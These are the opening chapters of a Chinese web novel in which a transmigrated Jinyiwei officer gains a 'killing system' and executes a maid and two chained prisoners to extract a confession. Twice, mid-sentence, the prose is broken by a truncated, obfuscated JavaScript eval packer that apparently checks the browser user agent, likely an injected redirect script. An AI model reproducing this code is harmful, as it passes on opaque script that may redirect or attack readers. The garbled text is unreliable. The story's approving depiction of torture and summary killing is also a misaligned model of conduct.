《杀伐果断砍穿江湖》 1. 穿越了 庆历四年的冬天,比往年来的更早。才刚入腊月,北风就裹挟着刺骨的寒意,呼啸着掠过都江城的灰墙黑瓦。 昨夜子时开始,雪粒子簌簌地敲打着窗棂,到了后半夜,竟成了鹅毛大雪,纷纷扬扬,无止无休。 当第一缕熹微的晨光艰难地穿透浓云和雪幕,整座都城已彻底被覆于一片厚重的纯白之下。 王家巷深处,一座略显破败的小院屋檐下,冰凌如刀剑般倒悬。 “哐当——” 一阵猛烈的穿堂风毫无预兆地撞开了支摘窗,寒冷裹着雪沫瞬间涌入室内,惊醒了榻上之人。 王辉猛地坐起,胸腔剧烈起伏,额角沁出细密的冷汗。 他不是自然醒来,而是从一场无边无际、光怪陆离的噩梦中挣扎脱身。 梦中无数破碎的画面交织——车水马龙的现代都市、一道璀璨却致命的刹车灯光、还有无数属于另一个“王辉”的人生片段,蛮横地塞进他的脑海。 他喘着粗气,下意识地抬手摸向自己的脸颊,触感冰凉而陌生。目光惶惑地扫过这间古香古色、却透着清寒气的卧房,最终落在床头那面蒙尘的铜镜上。 他跌跌撞撞地扑到镜前。镜面模糊,映出一张大约十七八岁、苍白却眉目俊朗的少年面孔。只是这面容毫无血色,嘴唇干裂,眼底带着重伤初愈般的虚弱和深深的迷茫。 这不是他的脸。 剧烈的头痛再次袭来,海啸般的记忆碎片疯狂冲击着他的意识。几分钟,或者更久,他瘫坐在冰冷的脚踏上,终于被迫接受了一个荒谬至极的事实—— 他穿越了。 这个世界,不属于他所知的任何一段华夏历史。这是一个名为“楚”的国度,一个……有武功存在的世界。 飞檐走壁、劈空掌力、剑气纵横,并非传说。武道,是这个世界绝对的主流力量。 而可怕的是,如今的大楚王朝早已不复鼎盛,龙气衰微,皇权旁落,吏治腐败,天下动荡。 律法的威严,在日益骄横的武道强者面前,正变得千疮百孔。他们视规矩如无物,甚至以践踏律法为乐。 他这具身体的前身,便是这个黑暗时代最微不足道的一个牺牲品。 前身的父亲王贲,曾是这都江城锦衣卫衙署中的一名小旗官,正儿七品的朝廷命官。官不大,俸禄也不厚,但在这青平巷里,王家也算得上体面人家,至少温饱不愁,受人敬畏。 然而,灾祸来得猝不及防。三月前,王贲带队巡街,恰逢一江湖豪客醉酒闹事,当街行凶。王贲职责所在,上前制止,却不想那狂徒根本无视他这身官皮,狞笑间长剑出鞘,只一招,便将王贲当街格杀!血溅长街。 那凶手在众目睽睽之下,拭去剑上血污,扬长而去。至今,官府海捕文书高挂,却连那凶手的影子都摸不到。一桩杀官大案,就这么不了了之。 按大楚律,锦衣卫官职可世袭。前身王辉,这个从未吃过练武之苦、只略通些粗浅拳脚的少年,被迫子承父业,补上了小旗的缺。 可在这武力至上的世界,尤其是在强者为尊的锦衣卫系统里,一个没有内力、不通武艺的小旗,如何服众? 他成了同僚眼中的笑柄,上司眼中的累赘。排挤、嘲弄、阳奉阴违,成了家常便饭。 数日前,他再次被手下几个老油条当众顶撞,羞愤难当,却无可奈何,只得跑去街头小酒馆借酒浇愁。 不料祸不单行,又与几个地痞流氓发生口角,冲突中被打成重伤,险些命丧当场。幸得同衙的锦衣卫路过,才将他救回。 身心的双重打击,让前身一病不起,一直在家里养伤。 昨夜,王辉照例喝了丫鬟小燕煎的汤药后睡下。夜半时分,却突然心脏绞痛,王辉甚至没来得及呼救,便在一片冰冷的死寂中,悄无声息地断了气。 再然后,便是现在的王辉,在这具尚有余温的身体里,苏醒过来。 “心脏绞痛?猝死?”王辉靠着床沿,眼神逐渐变得锐利。 前身虽不习武,但年轻体健,并无隐疾。这次的皮肉伤虽重,却未及根本,这几日已明显好转,绝无突然暴毙之理。 王辉将怀疑的目光,投向了昨夜那碗浓黑的汤药。 记忆回溯,画面定格在送药来的那个丫鬟身上,小燕。 往常送药,小燕总是慢条斯理,甚至有些不情不愿。可昨夜,她却异常急切,一个劲儿地催促他趁热喝下,眼神闪烁,似乎不敢与他对视。 前身对她信任有加,并未多想。但此刻的王辉,来自信息爆炸的时代,看过无数阴谋诡计,瞬间便嗅到了其中不寻常的气息。 “是她!”王辉几乎可以肯定。那碗药,绝对有问题! “吱呀——” 就在这时,房门被轻轻推开一道缝隙。一阵冷风趁机钻入,吹得桌上油灯灯火摇曳不定。 一个穿着藕色棉袄、身形窈窕的女子,端着水盆,做贼似的侧身闪了进来。她一抬头,正好对上王辉那双冰冷彻骨、审视着她的眸子。 “哐啷!” 水盆脱手砸落在地,温水泼湿了地面,也溅湿了她的裙摆。 “少……少爷!”小燕脸色“唰”地一下变得惨白如纸,瞳孔因极度惊骇而收缩,身体下意识地后退半步,声音颤抖得不成样子,“您…您醒了?!您…您怎么起来了?” 她脸上的惊愕和慌乱,几乎不加掩饰。 王辉心中最后一丝疑虑彻底消失。他缓缓站起身,不知是否是穿越带来的奇异效应,他感觉体内原本淤积的沉疴剧痛竟消散大半,身体虽然依旧虚弱,却有了力气。 王辉没有回答小燕的话,目光冷漠地扫过她,径直走到墙壁前,取下了那柄悬挂着的制式横刀。那是前身父亲留下的遗物,刀鞘古朴,透着肃杀。 “沧啷——” 清越的金属摩擦声在寂静的房间里格外刺耳。雪亮狭长的刀身被拔出,寒光流转,映出王辉毫无表情的脸,也映出小燕瞬间失血的容颜。 冰凉的刀锋,稳稳地架在了小燕纤细的脖颈上,激得她起了一层细密的鸡皮疙瘩。 “说,为什么害我?”王辉的声音不高,却如同窗外的风雪般寒冷彻骨。 小燕浑身剧颤,强大的求生欲让她本能地狡辩:“少…少爷…您…您说什么呢?我…我怎么会害您?我伺候您这么多年……” “啪!” 王辉手腕一抖,刀身翻转,用刀面狠狠抽在小燕那张娇俏的脸蛋上。 力道不大,但侮辱性极强。 小燕惨叫一声,被抽翻在地,发髻散乱,脸颊上瞬间肿起一道鲜红的印子。她捂着脸,抬起头,眼中充满了难以置信的惊愕和恐惧。 那柄横刀,再次无声无息地压上她的肩头,锋利的刀刃紧贴着她的颈侧皮肤,一缕血丝缓缓渗出。 王辉:我没什么耐心。 王辉俯视着她,眼神如同在看一个死物,道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王辉微微前倾,目光如刀,一字一句地斩碎她虚妄的幻想:“仅仅只是因为——你是王家的丫鬟,是我王辉身边的人!他们看的,是王家这身锦衣卫的虎皮!离了王家,你什么都不是,还是那个可以被人随手抓去卖进窑子的乞丐!” “你胡说!”小燕如同被踩了尾巴的猫,尖声嘶叫起来,试图用声音掩盖内心的恐慌和动摇,“你……” 王辉:认不清自己的蠢货,活着也是浪费粮食。 王辉不再废话,手腕猛地一拉! “嗤——” 锋利的刀锋轻而易举地切开了脆弱的喉管。 小燕的尖叫戛然而止,转化为一种漏风般的、可怕的“嗬嗬”声。她双手死死捂住脖颈,却阻挡不住滚烫的鲜血如同泉涌般从指缝间喷溅而出。 她瞪大了双眼,瞳孔里充满了极致的惊骇、茫然和难以置信,直挺挺地向后倒去,“噗通”一声砸在地上。 身体剧烈地抽搐着,殷红的鲜血迅速在她身下蔓延开来,染红了灰旧的地板,散发出浓重的血腥气。 王辉持刀而立,面无表情地看着生命迅速从这具年轻的躯体里流逝。这是他第一次杀人,胃里阵阵翻涌,但强大的意志力和对死亡的冰冷认知,强行压下了所有不适。 然而,就在小燕眼中最后一丝神采彻底涣散的刹那—— 一道冰冷、僵硬、毫无任何感情色彩的机械合成音,突兀地直接在他脑海深处响起: 【经验值+1】 2. 杀人系统来了 就在王辉恍神的时候,眼前出现一排面板: 【宿主:王辉】【境界:无】 【功法:玄元功(未入门0/1)】 【技能:破风刀(入门0/1)】 【经验值:1】【……(更多属性未解锁)】 王辉瞳孔骤然收缩,心脏如同被无形之手攥紧,猛地一跳!我艹系统?!金手指! 作为被海量网络文学充分“熏陶”过的现代人,他对此物的出现虽感震惊,却绝不陌生。前世熬夜肝过的那些单机RPG游戏画面瞬间涌入脑海,技能树、属性点、经验条…… 震惊只持续了极短的一瞬,狂潮般涌来的狂喜和一种难以言喻的安定感便迅速将其淹没。 穿越至此世的茫然无措,身受重伤后的虚弱与惶恐,以及周遭看似平静实则暗流汹涌的危机感,似乎终于找到了一个可以破局、可以依仗的绝对支点! 王辉的目光如同最饥饿的猎鹰,死死钉在“玄元功(未入门0/1)”那一栏。 原主因为资质不行,心性亦稍显软弱,苦修家传功法数年也未能感应气感,始终被拒于武道之门之外,但这神秘面板的出现,似乎预示着一条能打破天赋壁垒的通天捷径。 没有丝毫犹豫,王辉集中全部意念,向着那虚幻的、仿佛由光线构成的“+”号狠狠点去! 仿佛冰消雪融,又似一滴水落入滚烫的油锅,面板上那孤零零的“1”点经验值瞬间清零,如同从未存在过。 紧接着,一股灼热、精纯却又强横无比的气流,毫无征兆地从他丹田最深处轰然涌出! 初时细如发丝,随即迅速膨胀,化作一条苏醒的炽热蟒蛇,以一种近乎粗暴的方式强横地冲入他从未被内力滋养过的四肢百骸! 所过之处,纤细脆弱的经脉似被无形之力强行拓宽、捶打,带来一阵阵令人牙酸的酸胀和撕裂般的刺痛,却又在痛楚之后,留下一种难以言喻的、前所未有的通畅与蓬勃欲出的力量感! 系统那冰冷、清晰、毫无情绪波动的声音直接响彻他的脑海深处: 【玄元功升级至第一层】【当前境界提升至九品】 暖流持续冲刷、改造着他的身体,胸口的闷痛与肋间的刺痛感迅速减轻,之前的虚弱感如退潮般消失无踪。 王辉能清晰地感觉到,自己的皮肤微微绷紧,硬度与韧性显著增强,皮下的肌肉纤维变得更加密实、更具爆发力。手中这把原主挥舞几下就会气喘吁吁、重约两斤的环首刀,此刻握在手中,竟轻飘得如同一段枯枝! 这就是内力!这就是武道之力!这就是立于这危险世界的根本! 王辉强压下几乎要冲口而出的长啸,深深吸了一口气,空气中那血腥味似乎都变得不那么刺鼻了。 王辉对这力量并不完全陌生。原主的父亲,,南城锦衣卫百户所曾今的五品武者,曾是这座城里能排进前十的高手,也是原主心中如山岳般巍峨又严厉的身影。 原主虽无天赋,但从小耳濡目染,理论见识却不缺。 家传的《玄元功》更是一门据说能直指一品宗师境界的强大功法,只是修炼艰难,其对资源、资质、心性的要求都极高,强如其父,耗费数十年光阴,历经无数次生死搏杀,也才堪堪达到五品境界。 而那“破风刀法”,则是父亲看王辉体弱性情又软,叹息之余,特意寻来让他打基础、兼带磨砺胆气的“大路货色”刀法,招式简单,易学难精。 原主倒也坚持练了几年,可惜收效甚微,也才勉强跨过“入门”的槛,实战能力聊胜于无。 此刻,心神沉入体内,那半透明的蓝色面板已然更新: 【宿主:王辉】【境界:九品(初境)】 【功法:玄元功(第一层0/10)】 【技能:破风刀(入门0/1)】【经验值:0】 【……(更多属性未解锁)】 “从第一层到第二层,需要10点经验值?翻了一倍。”王辉目光锐利如刀,飞速思考,“破风刀也能提升,只是同样需要经验值。 这经验值……究竟从何而来?杀敌?修炼?还是完成某种特定目标?” 王辉缓缓将长刀归入鞘中,金属摩擦鞘口的“沙沙”声在死寂的庭院中格外清晰刺耳。 王辉的目光再次落回小燕那逐渐冰冷的尸体上,眼神幽深,再无半分波澜。 融合了原主记忆的他,同样继承了其父那套堪称残酷的“锤炼”成果。 那位严父深信锦衣卫后代必须心狠胆壮、见惯生死,从王辉十岁起,就时常将他带去那阴森恐怖的诏狱地牢“见识”,十三岁生辰那天,更是亲手将一柄匕首塞进他颤抖的手里,逼着他了结了一个奄奄一息的重刑犯。 对于杀戮和死亡,无论是原主那被强行磨出硬壳的内心,还是现在这个来自信息时代却莫名适应良好的灵魂,都早已麻木。 这小燕,典型的奴大欺主,忘乎所以,认不清自己的位置。 在这王家巷乃至整个南城坊市,谁不敬畏曾官至五品锦衣卫总旗、麾下曾有过百悍卒、办案手段酷烈果决的王贲?连带着对他家中的一个管事、一个丫鬟,也往往客气几分。 这种因主家权势而来的虚假奉承,久而久之,便像毒酒般灌醉了小燕,让她飘飘然欲仙,真以为那份敬畏是冲着她本人的“体面”而来。加之原主性子软糯,待下过于宽厚,更让她失了分寸,心生妄念,甚至在丫鬟仆役的小圈子里,也时常流露出对主家、特别是对“不成器”少爷的鄙夷和不忿。 但,膨胀到敢下毒弑主?这还得了! 王辉眼神微眯,寒光乍现。这背后,若无人许以重利、暗中怂恿撑腰,就凭她一个签了死契、生死皆操于主家之手的丫鬟,给她一百个胆子也绝不敢行此大逆不道、株连亲族之事! “少爷!” “少爷,您没事吧?!” 这时,外院的护卫们终于被内院短暂的兵刃交击与倒地的闷响惊动,急促杂乱的脚步声由远及近,四五名身着青色劲装、腰佩制式腰刀的护卫神情紧张地冲进内院。 为首一人身材格外高大魁梧,面容精悍,太阳穴微微鼓起,目光开阖间精光闪动,正是王家护院统领周猛。他曾是王贲的亲卫之一,实力据说已接近八品,是王家如今最核心的护卫力量。 当他们看清院中情形——持刀而立、神色冰冷的少爷,以及倒在血泊中、已然气绝的小燕,俱是面色大变,下意识地按住了刀柄,又迅速松开,显出几分不知所措的惊惶。 周猛快步上前,目光如电,迅速扫过小燕脖颈间那一道干净利落、几乎切断了半个脖子的可怕刀口,又看了看王辉手中那柄刚刚归鞘、刃口似乎还残留着一丝热气的长刀,眼底深处闪过一丝难以置信的惊诧与凝重——少爷这一刀……好狠辣!好利落!这绝不是往日那个温吞少爷能挥出的一刀!这股子冰冷的杀气,竟让他这老行伍都感到一丝心悸! 他压下心中翻腾的疑虑,抱拳躬身,沉声道:“少爷,这是……?” “她欲在参汤中下毒害我,被我杀了。”王辉语气平淡无波,仿佛在说一件微不足道的小事,听不出丝毫喜怒,却自有一股令人心头发冷的威严。 周猛闻言,脸上惊容更甚。他毫不犹豫地蹲下身,小心翼翼地检查了一下翻倒的食盒、溅落的参汤,并用指尖沾了一点尚未凝固的血液捻了捻,再次确认了那道致命伤口的可怕。他站起身,沉吟了足足三息,方才再次抱拳,声音压得更低:“少爷,此事……恐怕另有蹊跷。” “哦?周统领有何发现?”王辉目光转向他,带着审视。 “回少爷,”周猛组织着语言,“这小燕近几日行事确有些反常。 属下大概三四天前就注意到,她私下添置了好些金银首饰,虽不算极品,但成色分量都不差,绝非她月例能负担得起。 穿戴用度突然阔绰起来,每日里也是满面春风,与丫鬟们闲聊时,语气也得意非常,隐隐透出将来要‘享福’、‘做主子’的意思。 属下之前还以为是少爷您伤病初愈,心中喜悦,厚赏于她……如今看来,这些钱财,怕是来路不正!” 王辉心中冷笑,果然如此。他面上不动声色,淡淡道:“我这些日卧床养伤,连院子都甚少出,何来心思赏赐于她? 周统领,你即刻带人,去她屋里仔细搜搜,掘地三尺,看看能否找到些什么蛛丝马迹。注意,不要声张。” “是!属下明白!”周猛抱拳领命,眼神一厉,立刻点了两名最为心腹、嘴也最严的护卫,转身疾步而去,方向直指后院下人居所。 留下的几名护卫则无需吩咐,开始熟练地处理现场,有人取来草席收敛尸体,有人提水冲洗地面血迹,动作迅捷而沉默,人人面色肃然,不敢多发一言,甚至不敢多看王辉一眼。 他们再迟钝也感觉到,经历一场生死大劫,这位年轻的少爷似乎变得有些不同了,身上那股子若有若无的冷冽气息,竟比老主人王贲盛怒时更让人害怕。 时间在压抑的沉默中流逝。不到一炷香的功夫,廊下便传来急促的脚步声。 周猛去而复返,手中多了一个一尺见方、做工颇为精巧的梨花木首饰盒,盒子上甚至还挂着一把小小的铜锁,此刻已被暴力撬 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就在此时,前院一名护院快步小跑进来,神色恭敬地躬身禀报:“少爷,百户所的陈飞校尉来了,正在前厅等候,说是有要事禀报。” 王辉目光骤然一闪,如同暗夜中划过的闪电。他深吸一口气,将那只沉重的首饰盒递给周猛:“收好,这是证物。” “是。”周猛郑重接过。 王辉整理了一下略显褶皱的衣袍,悄然运转体内那缕新生的、微弱却蓬勃的内力,将因初得力量而微微澎湃的气血压下,语气恢复平静:“请陈校尉稍坐,我即刻便到。” 陈飞,父亲王贲最信任的旧部之一,也是如今王辉名义上麾下四名校尉中,唯一还肯听他调遣、并多次示好之人。 据说早年曾受父亲救命大恩,性情耿直彪悍,知恩图报,是条难得的忠义汉子。前身酒馆遇袭,便是他第一时间收到风声,不顾一切带人赶到,从六七名悍匪手中拼死救下原主。 如今王辉承袭父职,虽是个被架空、几乎无人理会的空头小旗,名义上统领包括陈飞在内的四名校尉、四十余名力士,但实际能指挥动的,恐怕也只有陈飞及其直属的十名老兄弟了。 整顿完毕,王辉快步走向待客的前厅。 厅内,一名穿着青色锦绣戎服、腰佩制式雁翎刀、身形挺拔如松的汉子正坐着喝茶,眉宇间带着一丝不易察觉的焦灼与风尘之色。 见王辉进来,他立刻放下茶盏起身,抱拳行礼,动作干脆利落,声音洪亮:王大人!冒昧打扰,您的伤可好些了? 他目光快速扫过王辉,似乎微微一愣,感觉这位上司的气色似乎比想象中好很多,而且……身上似乎多了点什么说不清道不明的变化。 来人正是陈飞,约莫三十岁年纪,面容黝黑粗糙,目光锐利如鹰,带着行伍之人特有的干练与煞气。 王辉:已无大碍,有劳陈校尉挂心。 王辉摆手,示意他坐下,自己则走到主位坐下,目光直视对方,“陈校尉此时过来,可是案情有了进展?” 陈飞脸上露出一丝快意与狠色,道:“回大人!上次在酒楼对您行凶的那几个泼皮匪类,弟兄们连日追查布控,终于将他们一网打尽,全部抓捕归案!此刻正分开关在卫所乙字号大牢里! 这帮杂碎,骨头倒是硬气,吃了些苦头还在胡言乱语,不过大人放心,给我一晚上时间,必定把他们的嘴撬开,问出是哪个不开眼的指使!” 王辉闻言,端着茶杯的手微微一顿,心中猛地一动,一股寒意自脊椎骨窜起。 小燕刚被查出收受重贿下毒,这边,酒馆行凶的匪徒就恰好全部落网? 这时间点,巧合得令人心惊!巧合得……仿佛是幕后之人刻意安排的又一步棋! 两件看似独立的事件,在此刻清晰地交汇在一起,如同两条毒蛇,吐着信子,指向同一个隐藏在浓雾深处的黑暗源头。 王辉缓缓放下茶杯,手指无意识地、有节奏地轻轻敲击着黄花梨木的桌面,发出“笃、笃、笃”的轻响,在寂静的厅堂里显得格外清晰,带着一种无形的压力。他抬起眼,看向陈飞,目光深邃如寒潭,仿佛能洞穿人心:陈校尉! “大人有何吩咐?”陈飞下意识地挺直了腰板,神色一肃。 他感觉今天的王辉,似乎与以往任何时候都截然不同,那眼神中的冷静、深邃,以及那偶尔一闪而逝的、近乎本能的威严……竟让他恍惚间想起了已故的王贲大人! 王辉身体微微前倾,声音压得很低,却字字清晰,带着一种不容置疑的、冰冷的决断力:有问出来什么吗?” 3. 幕后黑手 陈飞闻言一愣,眉头不自觉地蹙紧。他略作思索,拱手回道:“确实没问出什么有价值的东西。 那几人一口咬定是酒后一时冲动,连说辞都如出一辙,像是事先串通好的……大人,莫非您察觉到了什么异常?” 王辉没有立刻回答。他起身时,锦袍下摆扫过凳脚,带起一阵细微的风,吹得烛火晃了晃。 书房的窗棂是紫檀木做的,雕着缠枝莲纹,此刻却被浓云压得喘不过气——外面的夜色沉得像化不开的墨,月亮被裹在云里,连一丝银辉都漏不出,只有远处的灯火隔三差五嵌在黑黢黢的屋檐下,忽明忽暗,像是饿狼半眯的眼,盯着这寂静的都江府。 他负手站在窗前,指尖能触到窗棂上的凉意,风卷着院角的落叶刮过,带起细碎的呜咽声,竟像是有人在暗处低泣。 王辉:我反复思量那日的情形,越想越觉得不对劲。 王辉的声音比窗外的夜色更冷,“那几个地痞是在我落座后才进的酒馆。当时我刚把食盒放在靠窗的桌子,指尖还没碰到店小二端来的茶盏,就听见门口传来撞翻托盘的声响——为首的络腮胡撞了店小二,半盏茶水洒在他的粗布衫上,他却没生气,反而盯着我这边笑,那笑容不是醉后的憨傻,是藏不住的狠劲。” 王辉转过身,烛光在他深邃的眼眸中跳动,映出几分冷厉:“他们点的酒不过两壶,还是最便宜的劣酒,酒壶上沾着灰,一看就是放了许久的存货。 两壶酒,三个壮汉,够抿几口?可没半炷香的功夫,那络腮胡就拍着桌子骂骂咧咧,说‘这外地来的竟敢占靠窗的座’,说着就冲过来。 你仔细想想,哪有喝几口劣酒就醉到敢当众闹事的?更何况,他们出手的章法,表面看似杂乱无章,细想却暗合合击之术——一人攻上盘,一人锁下盘,最后一人直取心口,招招都往要害上招呼。若非你及时赶到,我恐怕已经命丧当场。” 陈飞闻言,脸色骤变。他右手猛地按上腰刀,指节因用力而泛白,连呼吸都急促了几分:“大人的意思是……这不是意外,而是有针对性的谋杀?” “不止是谋杀。”王辉的声音冷若寒霜,他走到桌前,指节无意识地叩击着桌面,发出“笃笃”的声响,像是在敲打着某人的心脏,“我怀疑背后有人指使。 寻常地痞纵然嚣张,也少有当街下死手的胆量——他们混江湖,图的是财,不是命,更不敢招惹官府的人。 可这三人,明知我穿的是锦衣卫的差服,还敢痛下杀手,这背后若无人撑腰,绝无可能。” 陈飞沉吟片刻,眼里闪过一丝狠意:“那属下再去审一审?这次带上烙铁,定要撬开他们的嘴!” “不必了。”王辉抬手制止,他的指尖在烛光下泛着冷白,“这次,我亲自去。” 话音未落,他一把抓起桌上的横刀——那刀是其父殉职前留下的,刀鞘裹着鲨鱼皮,摸上去糙得很,刀柄处缠着黑色的缠绳,是他亲手换的。刀鞘与腰带相碰,发出“铮”的一声脆响,在寂静的书房里格外刺耳。 陈飞见状,立刻跟上,两人的脚步声穿过走廊,踩在青石板上,发出“噔噔”的回响,惊得檐下栖息的夜鸟扑棱着翅膀飞起,黑影掠过窗棂,像是一闪而过的鬼魅。 都江府地牢藏在府衙西侧的坡下,入口隐在一片茂密的老槐树下。 槐树的根须像老鬼的爪子,深深扎进土墙里,树皮上布满裂痕,像是被岁月刻下的伤疤。 门口站着两个锦衣卫,肩甲上的虎头纹在暮色里泛着冷光,腰间的横刀佩得笔直,见王辉过来,两人立刻双手接过腰牌,指尖在刻着“锦衣卫小旗”的纹路上顿了顿,确认无误后才单膝跪地,声音压得极低:“卑职参见王大人,地牢通路已清,您请。” 掀开入口处的厚重布帘,一股混杂着霉味、血腥和绝望的气息扑面而来,比外面的夜色更冷。 通道是青石砌的,墙缝里渗着水珠,滴滴答答落在脚下的积水里,溅起细小的涟漪,泛起一圈圈淡黑色的晕。油灯挂在每隔五步的墙钉上,灯芯烧得噼啪响,火苗忽高忽低,把两人的影子拉得老长,贴在湿滑的墙上,像是跟着的鬼影。 墙上刻着些模糊的字迹,有“冤枉”两个字被划得乱七八糟,还有些看不懂的符号,在油灯下显得格外诡异。 陈飞忍不住多看了一眼,王辉却淡淡道:“无关紧要的东西,别分心。” 越往里走,空气越发湿冷,寒意像针一样扎进骨头里,连呼吸都带着白雾。 可走着走着,一股燥热的气息突然钻进来,混着焦糊味,驱散了些许冷意。转过一个弯,一间审讯室出现在眼前——与外面的阴冷截然不同,这里像是被烈火烤着,铁盆里的炭火烧得通红,炭块裂开细纹,火星子时不时蹦出来,落在地上烫出小黑点,把整个空间映得一片赤红,连空气都微微扭曲。 各式刑具在火边摆得整整齐齐,像是某种残酷的艺术品:烙铁上的“囚”字边缘泛着青黑,显然用了无数次,烙铁旁的铁刷上还挂着些暗红色的布条,浸盐的皮鞭泡在旁边的陶罐里,盐水顺着鞭梢滴在地上,积成一小滩泛着白霜的水渍;竹签装在竹篮里,尖锐的一端闪着冷光,旁边的铁链是碗口粗的熟铁,锁在三根黑铁裹着的硬木柱上——木桩表面光滑得发亮,显然常年绑人,连木纹里都渗着暗红色的印记。 三个地痞被铁链锁在木桩上,衣衫褴褛得像破布,身上的伤口有的结了痂,有的还在渗血,混着污泥,狼狈不堪。 见到王辉进来,中间那个络腮胡地痞先是一愣,随即挤出谄媚的笑容,牙齿黄黑,嘴角还沾着血丝:“王大人!您怎么来了?都是误会,天大的误会啊!要是早知道是您,借我们十个胆子也不敢动您一根手指头 他一边说,一边挣扎着,铁链哗啦作响,眼里却藏着一丝不易察觉的恐惧。 王辉没有理会他的讨好,目光扫过那些通红的刑具,炭火的热浪扑在他脸上,他却像没知觉似的,只淡淡看向陈飞:“他们判了什么?” 陈飞:回大人,按律判了赔偿银钱五十两,监禁一年。 陈飞躬身回应,声音压得很低,因他们没造成实质伤害,量刑不算重。” 王辉轻轻“嗯”了一声,缓步走到炭火旁。 他弯腰拿起一根烧得通红的烙铁,指尖刚碰到烙铁柄,就传来灼热的烫意,可他的手稳得很,慢悠悠转着烙铁,看“囚”字在火光下泛着妖异的红。 王辉随意地问道:“这地牢里,每年都会死不少犯人吧?有些怕是连死因都查不清。” 陈飞心领神会,他抬头时,眼里没了之前的犹豫,只剩顺从:“回大人,确是如此,地牢阴湿,犯人染瘴气身亡是常事;偶尔也有些畏罪自杀的,用头撞木桩,或是咬舌;还有些……突发急症暴毙的,连太医都查不出缘由。” 那几个地痞的脸色瞬间变得惨白,像是被抽走了所有血色。 络腮胡地痞挣扎得更厉害了,铁链撞在木桩上,发出“哐当”的巨响:“大人!王大人!我们已经认罪了!衙门也判了!您不能……不能滥用私刑啊!这不合规矩!” “铿!” 一声清越的金属锐响骤然响起,盖过了铁链的碰撞声! 众人只觉眼前一花,一道白练般的刀光闪过——快得让人看不清动作,只看见王辉的手腕轻轻一扬,腰间的横刀已经出鞘。紧接着,便是极轻微的“噗嗤”声,像是刀刃切开豆腐,又像是布帛被撕裂。 络腮胡地痞的求饶声戛然而止。他瞪大了眼睛,瞳孔从圆的缩成针尖,嘴巴张得能塞进拳头,想喊却只发出“嗬嗬”的气音,像是破风箱在抽气。一道细长的血线在他的喉咙上迅速扩大,鲜血顺着喉咙往下淌,染透了他破烂的衣领,滴在地上,和之前的盐水混在一起,泛起淡红色的泡沫。他的身体剧烈地抽搐了几下,双腿蹬了蹬,最终瘫软下去,脑袋歪向一边,眼睛还睁着,里面满是不甘和恐惧。 【经验值+5】 冰冷的机械音在王辉脑海中响起,没有丝毫温度。他面无表情地看着地上的尸体,仿佛刚才只是随手拂去了一片落叶——只有他自己知道,这一刀用了多少力:刀刃切开喉咙时,避开了气管,直取颈动脉,既让对方死得快,又能溅出足够的血,起到震慑作用。 审讯室内死寂一片,只剩下炭火燃烧的噼啪声和另外两个地痞粗重的喘息。 浓重的血腥味迅速弥漫开来,与焦热的气息混合,形成一种令人作呕的味道,刺得人鼻腔发酸。 陈飞瞳孔微缩,下意识地握紧了刀柄,喉结滚了滚,却没说话——他知道,此刻任何多余的话都是错的,跟着王辉这样的上司,要么跟上他的脚步,要么被淘汰。 王辉轻轻抖落横刀上的血珠,殷红的液体在炭火映照下如同滚动的玛瑙,滴在地上,发出“嗒”的轻响。 王辉转向剩下两个地痞,左边那个瘦高个已经吓得浑身筛糠,牙齿磕碰作响,发出“咯咯”的声音,右边那个矮胖子则死死闭着眼睛,浑身发抖,连眼泪都不敢掉。 王辉:我只问最后一次——谁指使的? 王辉的声音依旧平淡,却带着刺骨的寒意,像是从冰窖里捞出来的,每个字都能冻住人的血液。 瘦高个猛地睁开眼睛,泪水和鼻涕糊了一脸:“大、大人……真、真是误会……没人指使……我们就是喝多了,一时糊涂…… 他的声音带着哭腔,却还在硬撑,显然还抱着“熬过这关就能活命”的念头。 话音未落,刀光再闪! 这一次,王辉的动作更快,更狠。他脚步往前跨了半步,横刀斜着刺出去,角度刁钻得恰到好处——避开了肋骨的阻拦,直扎进对方的心口。 王辉手腕一拧,刀身在里面转了半圈,搅碎了心脏,然后猛地抽出。鲜血顺着刀身溅出来,洒了他半边衣袍,红得刺眼,像开在黑夜里的花。 瘦高个的身体僵了一下,然后像断了线的木偶似的往下瘫,他低头看着胸前迅速晕开的血花,眼神迅速涣散,头一歪,彻底没了声息。 【经验值+6】 系统提示音再次响起,王辉的目光落在最后一个矮胖子身上。 那人早已崩溃,□□湿了一片,腥臊味混着血腥味,弥漫在空气里。他“扑通”一声跪在地上,膝盖磨在青石地上,擦出几道血痕,却顾不上疼,只是涕泪横流地嘶声尖叫:“我说!我说!我什么都说!是张鹏!是南城锦衣卫百户所的力士张鹏!” 他语无伦次,生怕说慢一刻就会步同伴后尘,双手乱挥,像是要抓住什么救命稻草:“他、他上上个月找的我们,说有个外地来的官挡了他的路,让我们假装醉酒闹事儿,趁机杀了您! 他还说……说您是个没什么跟脚的外地人,死了也没人在意!他给我们一百两银子,先付了三十两定金,说事成之后再给剩下的七十两!我们以前也干过这种活,帮他砸过铺子,以为这次也一样……谁知道……谁知道您是锦衣卫老爷啊!大人饶命啊!我们真不知道是您!要是知道,打死我们也不敢接这活啊!都是张鹏害的!是他想杀您!” 王辉面无表情地听着,直到对方哭喊得声嘶力竭,连气都喘不上来,才缓缓收刀入鞘。刀身入鞘的声音“咔嗒”一声,在寂静的审讯室里格外清晰,吓得矮胖子又是一哆嗦。 “张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他指着那个瘫软如泥、兀自颤抖求饶的矮胖子,对陈飞下令:“把他单独关押在最里面的囚室,派两个你信得过的人守着别让他死了,也别让任何人接近他,包括其他狱卒。 “是!卑职明白!”陈飞凛然应命,躬身行礼时,动作比之前更恭敬——他此刻才算真正看清,眼前的王辉,不仅有脑子,更有狠劲,跟着这样的上司,或许能在这都江府的浑水里闯出一条路。 王辉大步流星向外走去,靴子踏过地上尚未凝固的鲜血,留下一个个暗红的脚印,像一朵朵死亡之花。 